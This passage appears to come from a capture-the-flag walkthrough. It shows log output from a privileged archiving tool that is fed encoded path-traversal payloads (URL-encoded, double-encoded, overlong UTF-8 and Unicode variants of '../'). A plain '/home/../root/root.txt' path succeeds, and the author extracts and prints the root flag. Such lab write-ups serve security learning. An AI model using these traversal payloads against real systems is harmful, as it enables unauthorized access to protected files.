2025/03/28 17:56:06 📤 Archiving: [/home/root/root.txt /home/%2e%2e%2f/root/root.txt /home/%252e%252e%252f/root/root.txt /home/%c0%ae%c0%ae%c0%af/root/root.txt /home/%uff0e%uff0e%u2215/root/root.txt /home/%uff0e%uff0e%u2216/root/root.txt /home/../root/root.txt]
2025/03/28 17:56:06 📥 To: /tmp ...
tar: Removing leading `/' from member names
tar: /home/root/root.txt: Cannot stat: No such file or directory
tar: tar: Removing leading `/' from member names
tar: /home/%252e%252e%252f/root/root.txt: Cannot statRemoving leading `/' from member names: No such file or directory

tar: /home/%2e%2e%2f/root/root.txt: Cannot stat: No such file or directory
tar: Removing leading `/' from member names
tar: /home/%uff0e%uff0e%u2215/root/root.txt: Cannot stat: No such file or directory
tar: Exiting with failure status due to previous errors
tar: Removing leading `/' from member names
tar: /home/%c0%ae%c0%ae%c0%af/root/root.txt: Cannot stat: No such file or directory
tar: Removing leading `/' from member names
tar: /home/%uff0e%uff0e%u2216/root/root.txt: Cannot stat: No such file or directory
2025/03/28 17:56:06 📦
2025/03/28 17:56:06 💢 Archiving failed for: /home/root/root.txt
2025/03/28 17:56:06 📦 📦
tar: Exiting with failure status due to previous errors
tar: Removing leading `/home/../' from member names
2025/03/28 17:56:06 💢 Archiving failed for: /home/%2e%2e%2f/root/root.txt
2025/03/28 17:56:06 📦 📦 📦
/home/../root/root.txt
tar: Exiting with failure status due to previous errors
tar: Exiting with failure status due to previous errors
2025/03/28 17:56:06 💢 Archiving failed for: /home/%252e%252e%252f/root/root.txt
2025/03/28 17:56:06 📦 📦 📦 📦
2025/03/28 17:56:06 💢 Archiving failed for: /home/%c0%ae%c0%ae%c0%af/root/root.txt
2025/03/28 17:56:06 📦 📦 📦 📦 📦
tar: Exiting with failure status due to previous errors
2025/03/28 17:56:06 💢 Archiving failed for: /home/%uff0e%uff0e%u2215/root/root.txt
2025/03/28 17:56:06 📦 📦 📦 📦 📦 📦
tar: Exiting with failure status due to previous errors
2025/03/28 17:56:06 💢 Archiving failed for: /home/%uff0e%uff0e%u2216/root/root.txt
2025/03/28 17:56:06 📦 📦 📦 📦 📦 📦 📦
2025/03/28 17:56:06 ❗️ Archiving completed with errors

Despite the errors, a tar.bz2 file was generated, and when untar.bz2’ed, lead to root.txt

martin@code:/tmp$ ls
code_home_.._root_root.txt_2025_March.tar.bz2
martin@code:/tmp$ tar -tf code_home_.._root_root.txt_2025_March.tar.bz2 
root/root.txt

martin@code:/tmp$ cat root/root.txt 
1d7ce92c4b291419936ce9763b47e41c

Scroll to Top